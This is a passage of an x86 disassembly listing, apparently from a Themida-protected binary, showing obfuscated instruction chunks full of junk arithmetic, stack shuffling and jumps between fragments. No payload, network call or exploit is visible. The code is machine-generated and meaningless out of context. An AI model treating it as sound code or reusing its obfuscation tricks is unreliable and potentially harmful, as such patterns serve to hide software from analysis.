		sub	al, 0CEh
		add	al, 4Eh
		add	al, bl
		sub	al, 4Eh
		add	al, 0CEh
		sub	esp, 2
		jmp	loc_586600
; END OF FUNCTION CHUNK	FOR sub_5B5756

; =============== S U B	R O U T	I N E =======================================



sub_583C38	proc near		; CODE XREF: sub_585452+A0BEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00588372 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00589BDC SIZE 0000000C BYTES

		push	ebx
		mov	ebx, eax
		mov	edx, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		mov	eax, [esp+0]
		add	esp, 4
		sub	edx, 505322F4h
		push	edx
		jmp	loc_588372
sub_583C38	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_583C58:				; CODE XREF: Themida_:0058D877j
		xor	ecx, 12CD42B3h
		mov	edi, ecx
		pop	ecx
		add	ebp, 102716Fh
		add	ebp, edi
		sub	ebp, 102716Fh
		jmp	loc_58DB99
; ---------------------------------------------------------------------------


loc_583C74:				; CODE XREF: Themida_:0058B6C1j
		add	esp, 4
		jmp	loc_5860A1
; ---------------------------------------------------------------------------


loc_583C7C:				; CODE XREF: Themida_:00587FD3j
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5846E7
; ---------------------------------------------------------------------------


loc_583C98:				; CODE XREF: Themida_:0058BD8Cj
		push	bx
		jmp	loc_58C046
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_583C9F:				; CODE XREF: sub_585452+9181j
		pop	edx
		jmp	loc_58753A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_583CA5:				; CODE XREF: Themida_:005846BBj
		sub	bx, 6EB8h
		add	bx, dx
		push	esi
		mov	si, 3D06h
		jmp	loc_58F09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_583CB7:				; CODE XREF: sub_585452+7F5j
		shr	eax, 8
		add	eax, 29E53774h
		sub	ebp, eax
		jmp	loc_58CDF0
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E931


loc_583CC6:				; CODE XREF: sub_58E931-A23Bj
		push	72DD1936h
		pop	eax
		xor	eax, 442603FEh
		dec	eax
		inc	eax
		add	eax, 0CF5E0881h
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		push	edx
		jmp	loc_585107
; END OF FUNCTION CHUNK	FOR sub_58E931
; ---------------------------------------------------------------------------


loc_583CE4:				; CODE XREF: Themida_:0058E074j
		push	ebx
		mov	ebx, 4
		jmp	loc_58D421
; ---------------------------------------------------------------------------


loc_583CEF:				; CODE XREF: Themida_:0058A887j
		push	esp
		pop	ebx
		jmp	loc_5886CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_583CF6:				; CODE XREF: sub_585452+A60Fj
		push	4
		pop	eax
		add	edi, 6D241D33h
		add	edi, 264D431Fh
		jmp	loc_589EC6
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_583D0D:				; CODE XREF: Themida_:0058BDABj
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_583D12:				; CODE XREF: Themida_:0058B6AEj
		shl	dh, 6
		add	dh, 0F5h
		sub	bl, 1Ch
		sub	bl, dh
		add	bl, 1Ch
		pop	edx
		pop	ecx
		push	ax
		mov	ah, 2
		sub	bl, ah
		pop	ax
		sub	bl, 0D1h
		jmp	loc_5884D6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		push	esp
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 7B4E426Fh
		jmp	loc_58E08B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_583D55:				; CODE XREF: sub_585452+1AA1j
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp-8+arg_4]
		jmp	loc_58D9A6
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_583D64:				; CODE XREF: Themida_:0058BBB7j
		push	ebx
		mov	ebx, 5F4B40C4h
		jmp	loc_589D40

; =============== S U B	R O U T	I N E =======================================



sub_583D6F	proc near		; CODE XREF: sub_585452+47E2j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00586374 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00587733 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058ABBA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058B8A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D2E1 SIZE 00000019 BYTES

		push	ebp
		push	9E41D84h
		jmp	loc_587733
sub_583D6F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_583D7A:				; CODE XREF: Themida_:0058B44Cj
		mov	dh, 40h
		jmp	loc_5878FE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5865DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_583D89:				; CODE XREF: sub_585452+82Ej
		add	al, 8Fh
		add	al, 7Dh
		push	5E7Eh
		mov	[esp-4+arg_0], ebx
		push	1779h
		mov	[esp+0], ecx
		mov	ch, 1Ah
		push	edx
		mov	dh, ch
		mov	bh, dh
		jmp	loc_58BE32
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_583DA9:				; CODE XREF: Themida_:0058517Aj
		neg	ecx
		sub	ecx, 84219043h
		jmp	loc_589F4C
; ---------------------------------------------------------------------------


loc_583DB6:				; CODE XREF: Themida_:005870E7j
		mov	[esp], ebp
		mov	ebp, 259F3B3Ah
		and	ebp, 2A3C5BB4h
		push	ecx
		mov	ecx, 52063C2Ch
		add	ebp, ecx
		jmp	loc_58EA83
; ---------------------------------------------------------------------------


loc_583DD1:				; CODE XREF: Themida_:005896F5j
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_583DD6:				; CODE XREF: Themida_:00589B62j
		add	ebp, 1BFE6545h
		sub	ebp, ebx
		jmp	loc_585054
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_583DE3:				; CODE XREF: sub_585452+47D4j
		pop	edi
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebx
		mov	ebx, 7A07544h
		push	1B08h
		mov	[esp+0], edx
		mov	edx, 614975B7h
		neg	edx
		add	edx, 20FE54ADh
		add	edx, 0AADD3B2Ah
		add	ebx, edx
		pop	edx
		or	ebx, 60DE6919h
		push	ebp
		mov	ebp, 6825540Eh
		sub	ebx, ebp
		pop	ebp
		push	edi
		mov	edi, 5595207Ch
		or	ebx, edi
		pop	edi
		xor	ebx, 5FDDB883h
		add	edi, ebx
		push	[esp-4+arg_0]
		pop	ebx
		jmp	loc_5842A5
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5756


loc_583E3D:				; CODE XREF: sub_5B5756-2F150j
		push	small 2CA7h
		mov	word ptr [esp+2Ah+var_2A], dx
		jmp	loc_58AE74
; END OF FUNCTION CHUNK	FOR sub_5B5756
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_583C20
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	esi
		push	4B5Fh
		jmp	loc_58B5CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_583E75:				; CODE XREF: sub_58FA66-5576j
		and	edx, 28F6A30h
		not	edx
		sub	edx, 0FDF5DFE0h
		mov	ebp, edx
		pop	edx
		sub	[edi+24h], ebp
		push	[esp-4+arg_0]
		pop	ebp
		jmp	loc_58573B
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589FD5


loc_583E92:				; CODE XREF: sub_589FD5-1E94j
		mov	ebp, [esp+0]
		add	esp, 4
		add	edx, edi
		add	eax, [edx]
		mov	edx, [esp-4+arg_0]
		jmp	loc_588EB8
; END OF FUNCTION CHUNK	FOR sub_589FD5
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_58CB00
; ---------------------------------------------------------------------------


loc_583EAD:				; CODE XREF: Themida_:0058E086j
		push	eax
		jmp	loc_58D478
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_583EB3:				; CODE XREF: sub_585452+611j
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		push	[esp-8+arg_4]
		pop	eax
		push	4AD3h
		jmp	loc_586FAD
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_583EC7:				; CODE XREF: sub_589967+57AEj
		add	ebx, esi
		jmp	loc_585F4B
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58960C


loc_583ECE:				; CODE XREF: sub_58960C+1AEj
		sub	ebx, ecx
		pop	ecx
		push	esi
		mov	esi, 0DC03900h
		add	ebx, 0ED66044h
		add	ebx, esi
		sub	ebx, 0ED66044h
		jmp	loc_58E836
; END OF FUNCTION CHUNK	FOR sub_58960C
; ---------------------------------------------------------------------------


loc_583EEA:				; CODE XREF: Themida_:0058DDFBj
		mov	edx, [esp]
		jmp	loc_5895FA
; ---------------------------------------------------------------------------
		push	ecx
		push	47B03643h
		mov	ecx, [esp]
		jmp	loc_58DE19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_583F00:				; CODE XREF: sub_589967-4EBDj
		mov	[esp+0], esi
		jmp	loc_58907D
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------


loc_583F08:				; CODE XREF: Themida_:005895A9j
		xor	ebx, 0B474C5Ch
		xor	ebx, 49A9DE8Fh
		sub	eax, 0B4B5F5Eh
		sub	eax, 65AB7BCFh
		jmp	loc_58D892
; ---------------------------------------------------------------------------


loc_583F23:				; CODE XREF: Themida_:0058F37Dj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		push	64606C83h
		jmp	loc_586293
; ---------------------------------------------------------------------------
unk_583F35	db    0			; CODE XREF: sub_587E93-2AD4j
; ---------------------------------------------------------------------------
		fstp	dword ptr [ebx+53h]
		push	cx
		jmp	loc_58F1A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_583F40:				; CODE XREF: sub_58AB18+4F87j
		mov	edi, edx
		jmp	loc_5886B5
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------


loc_583F47:				; CODE XREF: Themida_:0058925Cj
		mov	al, bh
		jmp	loc_589875
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58DAA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5756


loc_583F57:				; CODE XREF: sub_5B5756-279DBj
		mov	[esp+2Ah+var_2A], ecx
		push	edx
		jmp	loc_58418B
; END OF FUNCTION CHUNK	FOR sub_5B5756
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_583F60:				; CODE XREF: sub_58C230-6E4Fj
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp+0]
		pop	esp
		push	23CEh
		mov	[esp+0], edi
		jmp	loc_58D954
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------


loc_583F7A:				; CODE XREF: Themida_:00588A05j
		pop	eax
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_5874E2
; ---------------------------------------------------------------------------


loc_583F90:				; CODE XREF: Themida_:0058F03Cj
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_584123
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 44F503CFh
		or	esi, 601751E6h
		jmp	loc_5875AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_583FC4:				; CODE XREF: sub_585452-49Fj
		push	eax
		push	1E9Dh
		mov	[esp+4+var_4], edx
		mov	eax, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_58D88C
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		jmp	loc_58CEA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_583FE2:				; CODE XREF: sub_585452+1C2Aj
		neg	edi
		sub	edi, 42E81531h
		sub	edi, 2055550Ch
		sub	edi, 0AC051DB2h
		jmp	loc_58DD32
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_583FFB:				; CODE XREF: sub_58EFBD-7AE0j
		neg	ebp
		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 77079D6h
		jmp	loc_58A89C
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58400D:				; CODE XREF: Themida_:00587E7Aj
		mov	[esp], edx
		mov	dh, 3Ch
		sub	al, 42h
		sub	al, dh
		push	edx
		jmp	loc_587910
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584024:				; CODE XREF: sub_585452+835j
		sub	edx, 671636A3h
		pop	esi
		jmp	loc_589C2B
; ---------------------------------------------------------------------------


loc_584030:				; CODE XREF: sub_585452+717Aj
		sub	eax, edi
		mov	edi, [esp+8+var_8]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_58EE23
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584046:				; CODE XREF: Themida_:0058A0EAj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_58AC54

; =============== S U B	R O U T	I N E =======================================



sub_58405E	proc near		; CODE XREF: sub_58C31F-2595j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00585041 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00588133 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00589DA4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058C5D8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F08B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058F1B1 SIZE 0000001C BYTES

		push	ebx
		jmp	loc_589DA4
sub_58405E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584064:				; CODE XREF: sub_585452+5763j
		pop	esp
		jmp	loc_587F05
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F3BC


loc_58406A:				; CODE XREF: sub_58F3BC-77D7j
		pop	esi
		shr	edi, 7
		xor	edi, offset byte_44A8DF
		push	edi
		jmp	loc_589A9D
; END OF FUNCTION CHUNK	FOR sub_58F3BC
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	1E95h
		mov	[esp], ecx
		push	esp
		jmp	loc_58E443
; ---------------------------------------------------------------------------


loc_58408C:				; CODE XREF: Themida_:005895DCj
		pop	esp
		add	edi, 2
		push	2949h
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_588EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_5840A7:				; CODE XREF: sub_58FA66-3F0j
		add	eax, 4
		jmp	loc_5860E8
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586A34


loc_5840B1:				; CODE XREF: sub_586A34+560Dj
		or	eax, 55C23E78h
		shl	eax, 7
		and	eax, 40601BABh
		add	eax, 0C0006558h
		add	ebx, eax
		pop	eax
		jmp	loc_58985A
; END OF FUNCTION CHUNK	FOR sub_586A34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5840CB:				; CODE XREF: sub_585452+2855j
		mov	esi, [esp+8+var_8]
		jmp	loc_58AD50
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58905F


loc_5840D3:				; CODE XREF: sub_58905F+Cj
		add	ecx, 0C016FEC6h
		mov	esi, ecx
		pop	ecx
		sub	eax, esi
		pop	esi
		push	edi
		push	3B02E2Dh
		pop	edi
		add	edi, 19D40462h
		or	edi, 59F75872h
		sub	edi, 258E3114h
		and	edi, 60D96A8Fh
		jmp	loc_589B82
; END OF FUNCTION CHUNK	FOR sub_58905F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584103:				; CODE XREF: sub_585452+92D9j
		mov	ebp, 551038C4h
		add	[esp+8+var_4], 666801DAh
		jmp	loc_586F38
; ---------------------------------------------------------------------------


loc_584115:				; CODE XREF: sub_585452+3B41j
		xor	dh, 93h
		add	dh, 0C0h
		sub	al, dh
		pop	edx
		jmp	loc_58CB89
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584123:				; CODE XREF: Themida_:00583F9Fj
		pop	esp
		and	[edi+1Ch], ecx
		pop	ecx
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58412D:				; CODE XREF: sub_585452+8FA1j
		mov	[esp+4+var_4], esi
		mov	esi, 43D10A7Fh
		mov	ebx, esi
		pop	esi
		jmp	loc_58DFBC
; ---------------------------------------------------------------------------


loc_58413D:				; CODE XREF: sub_585452+640Cj
		pop	ecx
		add	ebx, ecx
		sub	ebx, 7C9221F2h
		jmp	sub_58B758
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58414B:				; CODE XREF: Themida_:0058AC22j
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_585EEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584164:				; CODE XREF: sub_585452+A315j
		pop	edx
		sub	ecx, ebp
		jmp	loc_58AE4C
; ---------------------------------------------------------------------------


loc_58416C:				; CODE XREF: sub_585452+3E1j
		add	ebx, 6895554Ch
		jmp	loc_58553B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584177:				; CODE XREF: Themida_:0058CBD7j
		add	edx, edi
		jmp	loc_58E013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58417E:				; CODE XREF: sub_585452+349Bj
		shr	bh, 2
		push	eax
		mov	ah, 1Eh
		sub	bh, ah
		jmp	loc_58556E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5756


loc_58418B:				; CODE XREF: sub_5B5756-317FBj
		mov	dl, 0D3h
		jmp	loc_58D29F
; END OF FUNCTION CHUNK	FOR sub_5B5756
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		mov	ebx, esp
		jmp	loc_588023
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589C10


loc_58419B:				; CODE XREF: sub_589C10+428Ej
		pop	ecx
		xor	edx, [esp-4+arg_0]
		jmp	loc_584F30
; END OF FUNCTION CHUNK	FOR sub_589C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5841A4:				; CODE XREF: sub_585452+9D93j
		add	esp, 4
		not	ah
		jmp	loc_58B48F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_5841B1:				; CODE XREF: sub_589967+6j
		mov	[esp+4+var_4], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, 400B1529h
		shl	ebp, 6
		push	edx
		mov	edx, 7EF3337Eh
		or	edx, 0BFC3300h
		or	edx, 4E5A2A27h
		push	ebp
		mov	ebp, 47A85AAEh
		or	ebp, 6B4C3C9Ah
		shl	ebp, 2
		dec	ebp
		not	ebp
		jmp	loc_58479F
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F923


loc_5841F6:				; CODE XREF: sub_58F923+7j
		mov	eax, ebp
		jmp	loc_589371
; END OF FUNCTION CHUNK	FOR sub_58F923
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C92B


loc_5841FD:				; CODE XREF: sub_58C92B+1Bj
		sub	edx, 605E3671h
		sub	edx, ebx
		add	edx, 605E3671h
		add	edx, 19D855DEh
		pop	ebx
		pop	esi
		add	edx, 4
		xchg	edx, [esp-4+arg_0]
		pop	esp
		sub	ecx, 214F6582h
		push	edx
		sub	esp, 4
		mov	[esp+0], ebx
		push	ebp
		mov	ebp, 7D7E01A4h
		xor	ebp, 32256DDDh
		mov	ebx, ebp
		pop	ebp
		shl	ebx, 7
		shr	ebx, 3
		neg	ebx
		push	esi
		mov	esi, 6C350C12h
		xor	ebx, esi
		pop	esi
		jmp	loc_58697A
; END OF FUNCTION CHUNK	FOR sub_58C92B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58424C:				; CODE XREF: sub_585452+9B0j
		pop	esp
		mov	[esp-0Ch+arg_8], edi
		jmp	loc_588ADD
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BCA7


loc_584255:				; CODE XREF: sub_58BCA7-503Dj
		mov	[esp+4+var_4], edx
		jmp	sub_585019
; END OF FUNCTION CHUNK	FOR sub_58BCA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58425D:				; CODE XREF: sub_585452+4812j
		not	bh
		mov	dl, bh
		pop	ebx
		jmp	loc_587B50
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584267:				; CODE XREF: Themida_:00586089j
		mov	ebx, 39B3303Bh
		xor	ebx, 5A94005h
		xor	esi, ebx
		pop	ebx
		shr	esi, 8
		push	eax
		jmp	loc_58699B
; ---------------------------------------------------------------------------


loc_58427E:				; CODE XREF: Themida_:0058F7B7j
		push	455Dh
		mov	[esp], edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_586B94
; ---------------------------------------------------------------------------


loc_584292:				; CODE XREF: Themida_:0058921Ej
		add	ecx, 0F918D62Ah
		jmp	loc_5887AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58429D:				; CODE XREF: sub_585452+369Cj
		mov	eax, [esp+0]
		jmp	loc_585C93
; ---------------------------------------------------------------------------


loc_5842A5:				; CODE XREF: sub_585452-161Aj
		add	esp, 4
		movzx	eax, al
		jmp	loc_58F7FF
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58CE0B
; ---------------------------------------------------------------------------


loc_5842B9:				; CODE XREF: Themida_:00589726j
		push	6AB8h
		jmp	loc_58BBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5842C3:				; CODE XREF: sub_585452+A530j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_58C590
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	2B56h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		jmp	loc_5873B0
; ---------------------------------------------------------------------------


loc_5842F9:				; CODE XREF: Themida_:0058DF1Bj
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	594Bh
		mov	[esp], edi
		jmp	loc_588160
; ---------------------------------------------------------------------------


loc_584320:				; CODE XREF: Themida_:0058A6DFj
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_58B0C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D28B


loc_58432B:				; CODE XREF: sub_58D28B+Fj
		add	esp, 4
		add	ebx, 2
		push	ebx
		push	[esp+arg_0]
		pop	ebx
		pop	dword ptr [esp+0]
		jmp	loc_58EAE4
; END OF FUNCTION CHUNK	FOR sub_58D28B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584342:				; CODE XREF: sub_585452+85F5j
		pop	edx
		shr	ecx, 7
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_58E527
; ---------------------------------------------------------------------------


loc_584357:				; CODE XREF: sub_585452+32Ej
		mov	edx, 4291196Fh
		not	edx
		push	ebx
		mov	ebx, 7C1E1C54h
		add	ebx, 126E43DBh
		not	ebx
		jmp	loc_58B0BA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584371:				; CODE XREF: Themida_:0058A37Dj
		pop	edx
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	163Dh
		mov	[esp], eax
		jmp	loc_58D672
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584389:				; CODE XREF: sub_585452+1ACBj
		shr	eax, 10h
		jmp	loc_58A3F9
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584391:				; CODE XREF: Themida_:00584499j
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_585A96
; ---------------------------------------------------------------------------


loc_5843A1:				; CODE XREF: Themida_:005860AFj
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_5843A6:				; CODE XREF: Themida_:0058F23Aj
		pop	esp
		jmp	loc_585387
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		sub	esp, 4
		jmp	loc_58B470
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5843B7:				; CODE XREF: sub_585452+2558j
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		add	ebx, 4
		push	ebp
		mov	ebp, 2
		add	ebx, 47F16C73h
		add	ebx, ebp
		sub	ebx, 47F16C73h
		pop	ebp
		push	ebx
		push	[esp+arg_0]
		pop	ebx
		pop	dword ptr [esp+0]
		jmp	loc_588B9E
; ---------------------------------------------------------------------------


loc_5843F4:				; CODE XREF: sub_585452+586j
		add	edx, ebx
		pop	ebx
		push	edx
		push	[esp-4+arg_4]
		pop	edx
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		jmp	loc_58A8F9
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584408:				; CODE XREF: Themida_:0058C00Ej
		add	al, 4Bh
		sub	al, 0E5h
		add	al, ch
		jmp	loc_58C219
; ---------------------------------------------------------------------------


loc_584413:				; CODE XREF: Themida_:00588EB3j
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584427:				; CODE XREF: sub_585452+82D7j
		pop	esi
		add	esp, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_58CCBB
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BE98


loc_584433:				; CODE XREF: sub_58BE98-5552j
		and	ecx, edx
		pop	edx
		shr	ecx, 0Ah
		push	ebx
		push	esi
		push	eax
		jmp	loc_589126
; END OF FUNCTION CHUNK	FOR sub_58BE98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584441:				; CODE XREF: sub_585452+84FDj
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp-18h+arg_12+2]
		pop	esp
		push	edi
		push	51277F35h
		push	[esp-14h+arg_E+2]
		mov	edi, [esp+0]
		add	esp, 4
		add	esp, 4
		and	edi, 3A11196Eh
		push	ebx
		push	edi
		mov	edi, 220B1F2Ah
		inc	edi
		jmp	loc_586F8C
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584470:				; CODE XREF: Themida_:0058D633j
		add	edi, ebx
		add	edi, 795508A2h
		sub	edi, 4ADF3BE4h
